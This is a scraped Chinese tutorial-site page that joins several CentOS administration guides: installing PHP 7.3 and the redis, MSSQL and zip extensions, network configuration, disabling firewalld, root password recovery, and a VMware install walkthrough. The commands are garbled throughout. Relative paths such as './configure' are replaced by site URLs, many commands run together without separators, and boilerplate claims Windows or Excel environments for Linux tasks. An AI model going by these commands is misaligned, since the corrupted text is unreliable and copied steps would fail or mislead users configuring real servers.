这样所有的步骤就算完成了,最后再次通过fc-list看一下字体列表: 可以看到已经成功安装上了中文字体,至此安装过程就全部结束,再次查看报表可以发现中文样式和内容均已可以正常显示了。 相关参考:centOS教程 以上就是如何解决centos7图形界面乱码的知识。速戳>>知识兔学习精品课! 如果想要在命令行模式与图形界面直接进行切换,只需要执行如下两个命令即可。 1、图形界面切换到命令行模式 init 3 2、命令行模式切换到图形界面 init 5 如果我们想开机自动进入图形界面或者是命令行界面,可以修改/etc/inittab文件。 输入 vi /etc/inittab 命令,修改id:5:initdefault配置。 推荐教程:linux教程 以上就是linux如何实现图形界面与命令行界面的切换的知识。速戳>>知识兔学习精品课! 本篇文章给大家介绍一下CentOS7使用yum安装PHP7.3的方法。有一定的参考价值,有需要的朋友可以参考一下,希望对大家有所帮助。 CentOS 7 yum安装 PHP7.3 教程 1、首先安装 EPEL 源: yum install epel-release 安装 REMI 源: yum install http://rpms.remirepo.net/enterprise/remi-release-7.rpm 2、安装 Yum 源管理工具: yum install yum-utils 3、安装 PHP7.3: yum install -y php73-php-fpm php73-php-cli php73-php-bcmath php73-php-gd php73-php-json php73-php-mbstring php73-php-mcrypt php73-php-mysqlnd php73-php-opcache php73-php-pdo php73-php-pecl-crypto php73-php-pecl-mcrypt php73-php-pecl-geoip php73-php-recode php73-php-snmp php73-php-soap php73-php-xmll 安装完成后最好重启一下计算机,不然有可能无法启动php 设置开机启动、运行服务: systemctl enable php73-php-fpmsystemctl start php73-php-fpm 设置 PHP 查找安装包: [root@xxx etc]# rpm -qa | grep 'php'php73-php-cli-7.3.6-1.el7.remi.x86_64php73-php-mbstring-7.3.6-1.el7.remi.x86_64php73-php-pecl-mcrypt-1.0.2-1.el7.remi.x86_64php73-runtime-2.0-1.el7.remi.x86_64php73-php-pdo-7.3.6-1.el7.remi.x86_64php73-php-bcmath-7.3.6-1.el7.remi.x86_64php73-php-fpm-7.3.6-1.el7.remi.x86_64php73-php-mysqlnd-7.3.6-1.el7.remi.x86_64php73-php-snmp-7.3.6-1.el7.remi.x86_64php73-php-gd-7.3.6-1.el7.remi.x86_64php73-php-json-7.3.6-1.el7.remi.x86_64php73-php-soap-7.3.6-1.el7.remi.x86_64php73-php-recode-7.3.6-1.el7.remi.x86_64php73-php-pecl-crypto-0.3.1-5.el7.remi.x86_64php73-php-common-7.3.6-1.el7.remi.x86_64php73-php-opcache-7.3.6-1.el7.remi.x86_64php73-php-pecl-geoip-1.1.1-6.el7.remi.x86_64 找到:php73-php-fpm-7.3.6-1.el7.remi.x86_64安装位置 [root@xxx etc]# rpm -ql php73-php-fpm-7.3.6-1.el7.remi.x86_64/etc/logrotate.d/php73-php-fpm/etc/opt/remi/php73/php-fpm.conf/etc/opt/remi/php73/php-fpm.d/etc/opt/remi/php73/php-fpm.d/www.conf/etc/opt/remi/php73/sysconfig/php-fpm/etc/systemd/system/php73-php-fpm.service.d/opt/remi/php73/root/usr/sbin/php-fpm/opt/remi/php73/root/usr/share/doc/php73-php-fpm-7.3.6/opt/remi/php73/root/usr/share/doc/php73-php-fpm-7.3.6/php-fpm.conf.default/opt/remi/php73/root/usr/share/doc/php73-php-fpm-7.3.6/www.conf.default/opt/remi/php73/root/usr/share/fpm/opt/remi/php73/root/usr/share/fpm/status.html/opt/remi/php73/root/usr/share/licenses/php73-php-fpm-7.3.6/opt/remi/php73/root/usr/share/licenses/php73-php-fpm-7.3.6/fpm_LICENSE/opt/remi/php73/root/usr/share/man/man8/php-fpm.8.gz/usr/lib/systemd/system/php73-php-fpm.service/var/opt/remi/php73/lib/php/opcache/var/opt/remi/php73/lib/php/session/var/opt/remi/php73/lib/php/wsdlcache/var/opt/remi/php73/log/php-fpm/var/opt/remi/php73/run/php-fpm 查找php.ini位置: [root@xxx etc]# find /etc/opt/remi/php73 -name php.ini/etc/opt/remi/php73/php.ini 编辑/etc/opt/remi/php73/php.ini替换换 ;cgi.fix_pathinfo=1 为 cgi.fix_pathinfo=0 快捷命令: sed -i 's/;cgi.fix_pathinfo=1/cgi.fix_pathinfo=0/' /etc/opt/remi/php73/php.ini 重启php73-php-fpm systemctl restart php73-php-fpm 更多操作: systemctl restart php73-php-fpm #重启systemctl start php73-php-fpm #启动systemctl stop php73-php-fpm #关闭systemctl status php73-php-fpm #检查状态 查看 PHP 验证一下是否安装成功: 该邮件地址已受到反垃圾邮件插件保护。要显示它需要在浏览器中启用 JavaScript。e:~# php73 -vPHP 7.3.0-1+(cli) (built: Dec 6 2018 20:24:55) ( NTS )Copyright (c) 1997-2018 The PHP GroupZend Engine v3.3.0-dev, Copyright (c) 1998-2018 Zend Technologies with Zend OPcache v7.3.0-1+ubuntu18.04.1+deb.sury.org+1, Copyright (c) 1999-2018, by Zend Technologies 更新 PHP 运行下面的命令系统就会更新所有可以更新的软件包括 PHP yum update 安装更多组件 上面的一条命令安装 PHP 只是安装了部分 PHP 拓展,更多的软件可见: # yum search php73Updating Subscription Management repositories.Last metadata expiration check: 0:27:54 ago on Wed 15 May 2019 10:39:52 AM EDT.============================================================================================= Name Exactly Matched: php73 ==============================================================================================php73.x86_64 : Package that installs PHP 7.3php73.x86_64 : Package that installs PHP 7.3============================================================================================ Name & Summary Matched: php73 =============================================================================================php73-syspaths.x86_64 : System-wide wrappers for the php73 packagephp73-syspaths.x86_64 : System-wide wrappers for the php73 packagephp73-scldevel.x86_64 : Package shipping development files for php73php73-scldevel.x86_64 : Package shipping development files for php73php73-php-zstd-devel.x86_64 : php73-php-zstd developer files (header)php73-runtime.x86_64 : Package that handles php73 Software Collection.php73-runtime.x86_64 : Package that handles php73 Software Collection.php73-runtime.x86_64 : Package that handles php73 Software Collection.php73-php-pecl-psr-devel.x86_64 : php73-php-pecl-psr developer files (header)php73-php-pecl-psr-devel.x86_64 : php73-php-pecl-psr developer files (header)php73-php-pecl-raphf-devel.x86_64 : php73-php-pecl-raphf developer files (header)php73-php-pecl-raphf-devel.x86_64 : php73-php-pecl-raphf developer files (header)php73-php-pecl-propro-devel.x86_64 : php73-php-pecl-propro developer files (header)php73-php-pecl-yaconf-devel.x86_64 : php73-php-pecl-yaconf developer files (header)php73-php-pecl-propro-devel.x86_64 : php73-php-pecl-propro developer files (header)php73-php-pecl-yaconf-devel.x86_64 : php73-php-pecl-yaconf developer files (header)php73-php-pecl-xmldiff-devel.x86_64 : php73-php-pecl-xmldiff developer files (header)php73-php-pecl-swoole4-devel.x86_64 : php73-php-pecl-swoole4 developer files (header)php73-php-pecl-xmldiff-devel.x86_64 : php73-php-pecl-xmldiff developer files (header)php73-php-zephir-parser-devel.x86_64 : php73-php-zephir-parser developer files (headers)php73-php-zephir-parser-devel.x86_64 : php73-php-zephir-parser developer files (headers)php73-php-pecl-handlebars-devel.x86_64 : php73-php-pecl-handlebars developer files (header)================================================================================================= Name Matched: php73 ==================================================================================================php73-php.x86_64 : PHP scripting language for creating dynamic web sitesphp73-php.x86_64 : PHP scripting language for creating dynamic web sitesphp73-build.x86_64 : Package shipping basic build configuration…… 推荐学习:php视频教程 以上就是CentOS7如何使用yum安装PHP7.3的知识。速戳>>知识兔学习精品课! 本篇文章给大家介绍一下在centos7中为php7安装redis扩展的方法。有一定的参考价值,有需要的朋友可以参考一下,希望对大家有所帮助。 下载redis 下载redis,解压,编译: $ wget http://download.redis.io/releases/redis-4.0.6.tar.gz$ tar xzf redis-4.0.6.tar.gz$ cd redis-4.0.6$ make && make PREFIX=/usr/local/redis install #安装到指定目录 现在去刚刚tar包解压出来的源码目录中,拷贝一个redis.conf配置文件,放到/usr/local/redis/bin/目录下 进入到redis目录下,运行vi redis.conf 将daemonize no改为 daemonize yes保存退出 通过下面的命令启动Redis服务: https://xiaotua.com/103/bin/redis-server https://xiaotua.com/103/redis.conf 你可以使用内置的客户端命令redis-cli进行使用: $ https://xiaotua.com/103/redis-cliredis> set foo barOKredis> get foo"bar" 以上呢是安装redis程序 在php7中要开启redis扩展 使用git clone下载git上的phpredis扩展包 [root@localhost local ]#git clone https://github.com/phpredis/phpredis.git 到了这一步,我们要使用安装php时生成的phpize来生成configure配置文件, //具体用哪个要取决于你的phpize文件所在的目录,这时你应该用 whereis phpize 来查看路径 [root@localhost local ]# whereis phpizephpize: /usr/bin/phpize /usr/share/man/man1/phpize.1.gz 这里表明路径为/usr/bin/phpize,然后执行: [root@localhost phpredis ]# /usr/bin/phpizeCan't find PHP headers in /usr/include/phpThe php-devel package is required for use of this command. 这里报错了,原因是没有安装好php-devel,由于我是使用的php7.0所以执行以下命令: [root@localhost phpredis]#yum -y install php70w-devel 然后再次执行: [root@localhost phpredis]# /usr/bin/phpizeConfiguring for:PHP Api Version: Zend Module Api No: Zend Extension Api No: 执行完上一步,我们就有了 configure 配置文件了,接下来配置 [root@localhost phpredis]#https://xiaotua.com/103/configure 或者执行 [root@localhost phpredis]#https://xiaotua.com/103/configure --with-php-config=/usr/bin/php-config 接下来是编译安装 [root@localhost phpredis]#make [root@localhost phpredis]# make install Installing shared extensions: /usr/local/php/lib/php/extensions/no-debug-non-zts-/ 配置php的配置文件php.ini(具体放在那里可以用 whereis php.ini 来查看),我的配置文件php.ini在/etc/下 [root@localhost phpredis]#vim /etc/php.ini 开启redis扩展: extension = redis.so redis.so文件的路径可以在make install的时候看到 [root@localhost local]# php -m #查询php的扩展 重启nginx服务器,重启php-fpm,使配置生效 重启之后我们打开info.php,已经可以看到redis的扩展信息了 推荐学习:php视频教程 以上就是在centos7中如何为php7安装redis扩展的知识。速戳>>知识兔学习精品课! 本篇文章给大家介绍一下CentOS7为PHP安装MSSQL扩展的方法。有一定的参考价值,有需要的朋友可以参考一下,希望对大家有所帮助。 1、下载 知识兔 依次执行以下脚本: cd /usr/local/src/wget ftp://ftp.freetds.org/pub/freetds/stable/freetds-patched.tar.gztar -zxvf freetds-patched.tar.gz 即,进入 目录(我一般习惯把编译用到的源代码放在这里),下载 的源码,然后解压。 2、安装 知识兔 依次执行以下脚本: cd freetds-1.2/https://xiaotua.com/103/configure --prefix=/usr/local/freetds --with-tdsver=7.4 --enable-msdblibmake && make install 注意上面的 ,根据你自己下载的不同 版本,这里可能会有所不同,反正就是进入你解压出来得到的文件夹。然后 这里,根据 的不同版本灵活选择,具体可以参考下图自行选择,我使用的是 ,所以选择的 版本: 以上版本选择的内容来自 的官方文档,文档地址:https://www.freetds.org/userguide/ChoosingTdsProtocol.html 3、配置 知识兔 依次执行以下命令来初始化 配置: echo "/usr/local/freetds/lib/" > /etc/ld.so.conf.d/freetds.confldconfig 其他的配置不需要,网上有一些教程写要在 中配置 的连接信息。其实大可不必,在调用的时候配置就可以了,也就是在 代码中配置,这样多灵活。 4、测试 知识兔 执行以下命令来查看 版本: # /usr/local/freetds/bin/tsql -CCompile-time settings (established with the "configure" script) Version: freetds v1.2 freetds.conf directory: /usr/local/freetds/etc MS db-lib source compatibility: yes Sybase binary compatibility: no Thread safety: yes iconv library: yes TDS version: 7.4 iODBC: no unixodbc: no SSPI "trusted" logins: no Kerberos: no OpenSSL: yes GnuTLS: no MARS: yes 执行以下命令来测试 连接: # /usr/local/freetds/bin/tsql -H example.com -p 1433 -U username -P passwordlocale is "en_US.UTF-8"locale charset is "UTF-8"using default charset "UTF-8"1> select @@version2> goMicrosoft SQL Server 2012 - 11.0.2100.60 (X64)Feb 10 2012 19:39:15Copyright (c) Microsoft CorporationStandard Edition (64-bit) on Windows NT 6.2 <X64> (Build 9200: ) (Hypervisor)(1 row affected) 其中 是 的 地址, 和 分别是 的用户名和密码。 5、下载 源码 知识兔 依次执行以下脚本: cd /usr/local/src/wget https://www.php.net/distributions/php-5.6.40.tar.gztar -zxvf php-5.6.40.tar.gz 和上面下载 一样,这里不再赘述。 6、安装 扩展 知识兔 依次执行以下脚本: cd php-5.6.40/ext/mssql//www/server/php/56/bin/phpizehttps://xiaotua.com/103/configure --with-php-config=/www/server/php/56/bin/php-config --with-mssql=/usr/local/freetds/make && make install 上面的 路径,因为的在宝塔中使用的 的安装路径是这个,所以路径就写成这样,大家根据自己情况调整。 得到类似如下的输出,说明扩展安装完成了: ...Build complete.Don't forget to run 'make test'.Installing shared extensions: /www/server/php/56/lib/php/extensions/no-debug-non-zts-/ 7、修改 知识兔 这里在哪里修改大家就随意了,我就直接用宝塔前端修改了,没用命令行。在 中添加如下几行: [mssql]extension=mssql.so 修改完成之后保存,然后重启 服务。 查看 ,可以看到 扩展已经启用了。 大功告成。 推荐学习:php视频教程 以上就是CentOS7如何为PHP安装MSSQL扩展的知识。速戳>>知识兔学习精品课! 本篇文章给大家介绍一下Centos7下php7安装zip扩展的方法。有一定的参考价值,有需要的朋友可以参考一下,希望对大家有所帮助。 安装: yum install -y php-devel #用于编译cd /usr/local/srcwget http://pecl.php.net/get/zip-1.15.3.tgz tar -zxvf zip-1.15.3.tgzcd zip-1.15.3 phpizewhereis php-confighttps://xiaotua.com/103/configure --with-php-config=/usr/bin/php-config 报错:。 最新版本请参考官网:https://nih.at/libzip/ ,libzip 需要 cmake 。 yum install -y cmakecd https://xiaotua.com/yum remove libzipwget https://libzip.org/download/libzip-1.2.0.tar.gztar -zxvf libzip-1.2.0.tar.gzcd libzip-1.2.0.tar.gzmkdir build && cd build && /usr/local/bin/cmake .. && make && make install 又报错: CMake Error at CMakeLists.txt:4 (CMAKE_MINIMUM_REQUIRED): CMake 3.0.2 or higher is required. You are running version 2.8.12.2-- Configuring incomplete, errors occurred! cmake版本过低,需新版本。 yum remove cmakeyum install -y cmake3cmake -version OK,cmake环境版本升级完毕。 然后再编译 zip 。 cd https://xiaotua.com/zip-1.15.3https://xiaotua.com/103/configure --with-php-config=/usr/bin/php-configmakemake install 安装过程中若出现 使用命令: find /usr/local -iname 'zipconf.h'ln -s /usr/local/lib/libzip/include/zipconf.h /usr/local/include 然后再执行一遍安装即可。最后用命令查看有没有zip.so文件。 ls /usr/lib64/php/modules/ 修改 /etc/php.ini : zlib.output_compression = Onextension=/usr/lib64/php/modules/zip.so 重启 apache: service httpd restart 再查看 phpinfo,就有 zip 扩展了。 推荐学习:php视频教程 以上就是Centos7下php7如何安装zip扩展的知识。速戳>>知识兔学习精品课! 方法:首先执行“cd /etc/sysconfig/network-scripts/&&ls”进入网卡目录;然后执行“ip a”查看ip地址和网卡名称;接着执行“vi ifcfg-eth0”编辑网卡配置文件,与内网其它ip地址不冲突即可。 本教程操作环境:windows7系统、Dell G3电脑。 进入网卡目录 cd /etc/sysconfig/network-scripts/&&ls 查看ip地址和网卡名称 ip a 编辑网卡的配置文件 vi ifcfg-eth0 ifcfg-eth0 的配置内容如下,不要和内网其它ip地址冲突 保存退出并重启网卡 systemctl restart network 更多计算机相关知识,请访问常见问题栏目! 以上就是centos7如何设置ip的知识。速戳>>知识兔学习精品课! 本篇文章给大家介绍一下centOS安装PHP后,php-fpm启动失败的解决方法。有一定的参考价值,有需要的朋友可以参考一下,希望对大家有所帮助。 在centOS6.8上安装php,出各种问题,光是gcc的版本太低,升级gcc这个,就让我气了两天,翻遍了几乎所有相关博客总算解决了。还有mysql安装也没少踩坑,所以大家还是尽量用centOS7吧,少生气能多活几年呢。。。 现在说一下centOS6.8上编译安装php7.2.1吧。 1,安装扩展包并更新系统(我在根目录下开始的): yum install epel-release -yyum update 2,安装php依赖组件(一段全复制上去,其实掠过也可能没关系): yum -y install wget vim pcre pcre-devel openssl openssl-devel libicu-devel gcc gcc-c++ autoconf libjpeg libjpeg-devel libpng libpng-devel freetype freetype-devel libxml2 libxml2-devel zlib zlib-devel glibc glibc-devel glib2 glib2-devel ncurses ncurses-devel curl curl-devel krb5-devel libidn libidn-devel openldap openldap-devel nss_ldap jemalloc-devel cmake boost-devel bison automake libevent libevent-devel gd gd-devel libtool* libmcrypt libmcrypt-devel mcrypt mhash libxslt libxslt-devel readline readline-devel gmp gmp-devel libcurl libcurl-devel openjpeg-devel 3,下载php安装包并解压: wget http://am1.php.net/distributions/php-7.2.1.tar.gztar xvf php-7.2.1.tar.gz 4,进入解压目录并开始编译(编译千万不能省,运行出错了就不能make了,这是我选出来的最靠谱可行的编译了): cd /php-7.2.1 https://xiaotua.com/103/configure --prefix=/usr/local/php7 --with-config-file-path=/usr/local/php7/etc --with-mcrypt=/usr/include --with-mysql=mysqlnd --with-mysqli=mysqlnd --with-pdo-mysql=mysqlnd --with-gd --with-iconv --with-zlib --enable-xml --enable-bcmath --enable-shmop --enable-sysvsem --enable-inline-optimization --enable-mbregex --enable-fpm --enable-mbstring --enable-ftp --enable-gd-native-ttf --with-openssl --enable-pcntl --enable-sockets --with-xmlrpc --enable-zip --enable-soap --without-pear --with-gettext --enable-session --with-curl --with-jpeg-dir --with-freetype-dir --enable-opcache 5,为了安全保险的给make出来,先更新依赖库以防万一: yum -y install libjpeg libjpeg-devel libpng libpng-devel freetype freetype-devel libxml2 libxml2-devel mysql pcre-devel 6,安装: makemake install 7,关于配置: cp php.ini-development /usr/local/php7/etc/php.inicp /usr/local/php7/etc/php-fpm.conf.default /usr/local/php7/etc/php-fpm.confcp /usr/local/php7/etc/php-fpm.d/www.conf.default /usr/local/php7/etc/php-fpm.d/www.conf 8,加个权限: chmod +x /etc/init.d/php-fpm 现在试一下,/etc/init.d/php-fpm start 如果php启动成功了,那你很幸福;如果失败了,接着往下看。 大概出现的是下图这个情况吧? 再试一下运行提示的命令,出的问题是ERROR:FPM initialization failed.如下图: 所以出问题的是php-fpm,机智如我,把我另一个虚拟机(centOS7)上的php-fpm给换上去了,只需要把php的安装根目录按照自己的情况改一下就成了(就是这一行:prefix=/usr/local/php)。现在我就无私的把我的php-fpm文件奉献出来。 #! /bin/sh### BEGIN INIT INFO # Provides: php-fpm # Required-Start: $remote_fs $network # Required-Stop: $remote_fs $network # Default-Start: 2 3 4 5 # Default-Stop: 0 1 6 # Short-Description: starts php-fpm # Description: starts the PHP FastCGI Process Manager daemon ### END INIT INFOprefix=/usr/local/php exec_prefix=${prefix}php_fpm_BIN=${exec_prefix}/sbin/php-fpm php_fpm_CONF=${prefix}/etc/php-fpm.conf php_fpm_PID=${prefix}/var/run/php-fpm.pidphp_opts="--fpm-config $php_fpm_CONF --pid $php_fpm_PID"wait_for_pid () { try=0 while test $try -lt 35 ; do case "$1" in 'created') if [ -f "$2" ] ; then try='' break fi ;; 'removed') if [ ! -f "$2" ] ; then try='' break fi ;; esac echo -n . try=`expr $try + 1` sleep 1 done}case "$1" in start) echo -n "Starting php-fpm " $php_fpm_BIN --daemonize $php_opts if [ "$?" != 0 ] ; then echo " failed" exit 1 fi wait_for_pid created $php_fpm_PID if [ -n "$try" ] ; then echo " failed" exit 1 else echo " done" fi ;; stop) echo -n "Gracefully shutting down php-fpm " if [ ! -r $php_fpm_PID ] ; then echo "warning, no pid file found - php-fpm is not running ?" exit 1 fi kill -QUIT `cat $php_fpm_PID` wait_for_pid removed $php_fpm_PID if [ -n "$try" ] ; then echo " failed. Use force-quit" exit 1 else echo " done" fi ;; status) if [ ! -r $php_fpm_PID ] ; then echo "php-fpm is stopped" exit 0 fi PID=`cat $php_fpm_PID` if ps -p $PID | grep -q $PID; then echo "php-fpm (pid $PID) is running..." else echo "php-fpm dead but pid file exists" fi ;; force-quit) echo -n "Terminating php-fpm " if [ ! -r $php_fpm_PID ] ; then echo "warning, no pid file found - php-fpm is not running ?" exit 1 fi kill -TERM `cat $php_fpm_PID` wait_for_pid removed $php_fpm_PID if [ -n "$try" ] ; then echo " failed" exit 1 else echo " done" fi ;; restart) $0 stop $0 start ;; reload) echo -n "Reload service php-fpm " if [ ! -r $php_fpm_PID ] ; then echo "warning, no pid file found - php-fpm is not running ?" exit 1 fi kill -USR2 `cat $php_fpm_PID` echo " done" ;; configtest) $php_fpm_BIN -t ;; *) echo "Usage: $0 {start|stop|force-quit|restart|reload|status|configtest}" exit 1 ;;esac 以上就是centOS安装PHP后,php-fpm启动失败怎么办的知识。速戳>>知识兔学习精品课! 前言: 在Linux系统中,系统网络设备的配置文件保存在 /etc/sysconfig/network-scripts 目录下,其中文件ifcfg-eno包含一块网卡的配置信息,文件ifcfg-lo包含回路IP地址信息。 配置过程: 1、编辑配置文件 vim /etc/sysconfig/network-scripts/ifcfg-enp0s3 红色标明处(enp0s3)为网卡的名称,可以通过ifconfig命令查看网卡的名称,如下图,网卡名称是enp0s3。 (1)可以为BOOTPRTO(表示网卡配置静态还是动态IP地址)设置以下4种选项。 none:表示无须启动协议。 bootp:表示使用BOOTP协议。 dhcp:表示使用DHCP协议动态获取IP地址。 static:表示手工设置静态IP地址。 (推荐教程:centos教程) (2)ONBOOT=yes 表示启动系统时是否激活该网卡,yes表示激活,no表示不激活。 2、重启网络服务 当修改完Linux系统中的服务配置文件后,并不会对服务程序立即产生效果。要想让服务程序获取到最新的配置文件,需要手动重启(systemctl restart network)相应的服务,之后就可以看到网络畅通了: systemctl restart network (重启网络服务)systemctl start network (启动网络服务)systemctl stop network (停止网络服务) 在CentOS6/RHEL6系统中命令是: service network restart (重启网络服务)service network start (启动网络服务)service network stop (停止网络服务) 3、测试 ping -c 4 baidu.com 相关视频教程推荐:linux视频教程 以上就是centos7怎么配置网络的知识。速戳>>知识兔学习精品课! centos关闭防火墙命令:1、临时关闭,代码为【systemctl stop firewalld】;2、禁止开机启动,代码为【systemctl disable firewalld】。 本文操作环境:Windows7系统,centos6&¢os7版本,Dell G3电脑。 centos关闭防火墙命令: CentOS6关闭防火墙使用以下命令, //临时关闭service iptables stop//禁止开机启动chkconfig iptables off CentOS7中若使用同样的命令会报错, stop iptables.serviceFailed to stop iptables.service: Unit iptables.service not loaded. 这是因为CentOS7版本后防火墙默认使用firewalld,因此在CentOS7中关闭防火墙使用以下命令, //临时关闭systemctl stop firewalld//禁止开机启动systemctl disable firewalldRemoved symlink /etc/systemd/system/multi-user.target.wants/firewalld.service.Removed symlink /etc/systemd/system/dbus-org.fedoraproject.FirewallD1.service. 当然,如果安装了,也可以使用下面的命令, yum install -y iptables-services//关闭防火墙service iptables stopRedirecting to /bin/systemctl stop iptables.service//检查防火墙状态service iptables statusRedirecting to /bin/systemctl status iptables.service鈼iptables.service - IPv4 firewall with iptables Loaded: loaded (/usr/lib/systemd/system/iptables.service; disabled; vendor preset: disabled) Active: inactive (dead) 相关免费推荐:编程视频课程 以上就是centos关闭防火墙命令是什么的知识。速戳>>知识兔学习精品课! CentOS如何进入图形界面 默认情况下是不会安装图形界面的,所以需要自己手动安装,步骤如下: 1、开启系统,以root身份进入 (在线视频教程分享:linux视频教程) 2、安装X(X Window System),命令如下: yum groupinstall "X Window System" 其中大约有200多个软件,安装完成会出现complete!字样。然后安装图形界面软件,GNOME(GNOME Desktop),命令如下: yum groupinstall "GNOME Desktop" 由于这个软件组比第一个要大很多(包含800个左右的软件),安装过程会比较慢。安装完成会出现complete!字样。 3、安装完成后我们可以通过命令 startx 进入图形界面 本篇文章来自小兔网,CentOS使用教程栏目,更多相关教程请关注本栏目! 以上就是CentOS如何进入图形界面的知识。速戳>>知识兔学习精品课! 直接修改密码 通过whoami可以查看当前登陆的用户。直接输入 passwd 回车,输入2次密码就是修改当前的用户名(提示 all authentication tokens updated sucessfully 表示密码修改OK) (推荐教程:centos使用教程) 如图: 修改某个用户的密码 (注意要管理员权限或者本账号) 作为管理员可以直接修改某个账号的密码,而不需要知道原密码。 格式:Passwd 用户名 如图,回车之后输入2次密码确认 相关视频教程推荐:linux视频教程 以上就是centos怎么更改用户密码的知识。速戳>>知识兔学习精品课! centos忘记密码怎么办? 1、首先开启系统,按住esc键 2、然后根据提示按e键,进入编辑选项 3、在UTF-8行编辑修改两处,首相将ro改为rw,即只读改为可读写权限,然后在尾部加入 init=/bin/sh 4、此时按住Ctrl+x快捷键进入拯救模式 5、修改root用的新密码为,修改命令如下 6、密码修改成功后会有如下提示 7、输入如下命令更新系统信息 8、输入下面的命令重启系统 9、此时你就可以用你修改的新密码登入系统了 推荐学习Linux视频教程:images/2021/06/19/.html 以上就是centos忘记密码怎么办的知识。速戳>>知识兔学习精品课! centos7安装教程:首先下载“CentOS-7-x86_64-bin-DVD1.iso”镜像文件;然后依次选择“文件->新建虚拟机->自定义”;接着根据向导进行虚拟机的创建;最后进入CentOS安装界面并进行安装设置即可。 本文操作环境:centos7系统、Microsoft Office Excel2010版,DELL G3电脑 CentOS 7安装教程(图文详解) CentOS 7安装教程: 准备: 软件:VMware Workstation 镜像文件:CentOS-7-x86_64-bin-DVD1.iso (附:教程较为详细,注释较多,故将操作的选项进行了加粗字体显示。) 1、文件--新建虚拟机--自定义 2、硬盘兼容性--默认 3、稍后安装操作系统(需要在虚拟机安装完成之后,删除不需要的硬件,所以稍后安装操作系统)【推荐:centos教程】 4、选择客户端操作系统:客户机操作系统--Linux 版本--centos 64位 (注意:版本一定要对应镜像文件版本,其中centos是32位,centos 64位则就是64位,windows系统应安装64位版本) 5、命名虚拟机(简略表示出该虚拟机的类型、版本。例如:centos-7 ) 6、处理器配置(CPU)--总处理器核心数一般为 4 虚拟机总核心数不能超过主机核心数。若超出则会警告提醒。 7、 此虚拟机内存--一般2G 1M=1024K E>P>T>G>M>K 8、网络类型--桥接网络(可以使虚拟机与主机使用同一网络) 注释:VMnet1网口对应的是仅主机模式 VMnet8网口对应的是NAT模式 VMnet0网口对应的是桥接模式 查看以上对应是在VMware workstation中的编辑-虚拟网络编辑器 9、选择I/O控制器类型(相对于硬盘)--默认 从硬盘到内存是I(input) 从内存在硬盘是O(output) 10、选择磁盘类型--默认 (硬盘接口,家庭个人常用SATA类型,服务器常用SCSI类型) 11、选择磁盘--创建新的虚拟磁盘(其他两个不常用) 12、指定磁盘容量--200G(是假的虚拟的不占主机内存) 13、指定磁盘文件(.vmdk)文件 14、完成 删除不需要的硬件--编辑虚拟机设置--删-USB控制器、声卡、打印机(可以使虚拟器启动的快一点) 也可以手动添加硬件,比如,一个网口不够,再添加一个。 网络连接仍然选择桥接模式 此时可以看到添加了两个网络适配器 15、此时虚拟机中的硬件已经搭建完成 16、继续添加映像文件,选择设备中的CD/DVD(IDE) 在连接处选择--使用ISO映像文件--确定 17、进入CentOS安装界面。 --选择第一项 Install CentOS 7 18、WELCOME TO CENTOS 7. 设置语言--推荐使用English--点击Continue 19、INSTALLATION SUMMARY 安装总览(这里可以完成centos 7 版本Linux的全部设置) (1)首先,设置时区--DATE & TIME 找到Asia--Shanghai并点击--Done (2)KEYBOARD 键盘就默认是English(US) (3)LANGUAGE SUPPORT语言支持 可以是默认的English 也可以自行添加Chinese简体中文的支持 (4)INSTALLATION SOURCE 安装资源 默认选择--Local media 本地媒体文件 (5)SOFTWARE SELECTION软件安装选择 字符界面安装--Minimal install 或者 Basic Web Server 图形界面安装--Server with GUI 或者 GNOME Desktop 字符界面与图形界面安装过程相同,只在这一步有区分。 点击--Done进入下一步 20、INSTALLATION DESTINATION 安装位置---即进行系统分区 (1)首先选中我们在创建虚拟机时候的200G虚拟硬盘 (2)下滑菜单找到Other Storage Options--Partitioning--I will configure partitioning选中 I will configure partitioning 自定义分区 --点击done (3)选择Standard Partition 标准分区--点击左下角+ 添加分区 (4)分区 creat--Standard Partition--creat--mount point(挂载点)和File System Type(系统文件类型) 分别创建/boot区、swap交换分区、根分区/ 注释:Linux系统最简单的分区方案: 1、分/boot区,给200M,/boot放启动文件。 2、分交换分区(交换空间)swap,看内存总大小,如果内存足够大,这个空间就要设置太大了。如果内存小于2G。那么这个空间设置成内存的2倍大小。 3、所有空间给/(根分区) (5)分区完成! 点击Done 点击Accept Changes 21、回到 INSTALLTION SUMMARY 中 22、KDUMP默认选择 23、NETWORK & HOST NAME 设置网络连接和主机名 在Host name处设置主机名:(例如 centos-7) 24、这是我们已完成所有设置 ----Begin Installation 这时需要设置管理员Root Password(务必记住密码!) 密码设置完成后,点击Done 接下来可以创建用户(此处可以不进行创建,安装完成后进入root也可以重新创建) 25、centos 7安装完成--点击reboot重启使用 字符界面见下图 图形界面见下图 附: 调出Terminal终端后,使用su root命令可以将用户切换到root管理员,后进行管理员操作: 以上就是centos7安装教程的知识。速戳>>知识兔学习精品课! centos7 默认防火墙是firewalld 所以查看防火墙状态命令:systemctl status firewalld.service 执行后可以看到绿色字样标注的“active(running)”,说明防火墙是开启状态 使用命令:systemctl stop firewalld.service 关闭运行的防火墙 关闭后,使用命令systemctl status firewalld.service 查看防火墙状态 可以看到,disavtive(dead)的字样,说明防火墙已经关闭 相关视频教程推荐:linux视频教程 以上就是centos7如何关闭防火墙的知识。速戳>>知识兔学习精品课! 下面由centos入门教程栏目给大家介绍CentOS Linux 和 CentOS Stream 的区别,以及推荐用哪个比较好,希望对需要的朋友有所帮助! CentOS Stream Centos Stream是一个滚动发布的Linux发行版,它介于Fedora Linux的上游开发和RHEL的下游开发之间而存在。你可以把CentOS Streams当成是用来体验最新红帽系Linux特性的一个版本,尝鲜使用。 CentOS Linux CentOS Linux 就是普通使用的CentOS的系统了,如果追求稳定性,和正式使用,日常使用,还是强力推荐使用这个的。 更多centos相关技术文章,请访问centos系统教程栏目! 以上就是你知道CentOS Linux和CentOS Stream应该用哪个吗?的知识。速戳>>知识兔学习精品课! 本篇文章给大家分享centos7下部署运行一个php项目有一定的参考价值,有需要的朋友可以参考一下,希望对大家有所帮助。 因为要做web方向的测试,所以选择了一个测试网站addressbook. Nginx + php-fpm +centos7 首先我先要在chrome上打开,但是服务器站点部署在linux上,而chrome装在windows上,所以选择桥接模式。 Centos7桥接模式设置: 首先选择 桥接模式 ip addr 获取虚拟机ip地址 关闭虚拟机防火墙 systemctl stop firewalld.service 禁止fireware开机启动 systemctl disable firewalld.service ping xxxx 刚开始启动nginx时一直报错,最后发现是端口占用问题,解除80端口占用。 先查看80端口是否被占用,然后启动nginx查看所有端口占用netstat -tln查看端口被哪个进程占用lsof 